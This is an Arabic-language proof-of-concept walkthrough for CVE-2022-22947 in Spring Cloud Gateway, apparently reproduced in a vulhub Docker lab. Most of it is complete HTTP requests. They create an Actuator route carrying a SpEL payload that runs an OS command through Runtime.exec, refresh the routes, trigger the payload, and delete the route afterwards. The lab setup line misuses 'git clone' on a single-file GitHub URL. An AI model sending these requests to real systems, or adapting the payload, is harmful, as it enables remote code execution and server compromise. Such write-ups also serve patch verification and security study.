
استغلال PoC لـ CVE-2022-22947: حقن SpEL في Spring Cloud Gateway يتيح تنفيذ الأوامر عن بُعد عبر مسارات Actuator API المصممة.
Spring Cloud Gatewayهو بوابةAPIفيSpring. في الإصدارات3.1.0و3.0.6(شاملة) وما قبلها، توجد ثغرة حقن تعبيرSpEL، وعندما يتمكن المهاجم من الوصول إلىActuator API، يمكنه استغلال هذه الثغرة لتنفيذ أوامر عشوائية.
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d
أرسل حزمة البيانات التالية إلى واجهة routes:
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329
{
"id": "greetdawn",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}

رؤية حزمة البيانات أعلاه تعني أنه تم إنشاء المسار الجديد بنجاح.
أرسل حزمة البيانات التالية مرة أخرى لتطبيق المسار المضاف للتو وتشغيل تنفيذ تعبير SpEL:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329

اطلب المسار الذي تم إنشاؤه للتو لتشغيل الكود الخبيث
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0

ملاحظة: احذف المسار التالي
DELETE /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0
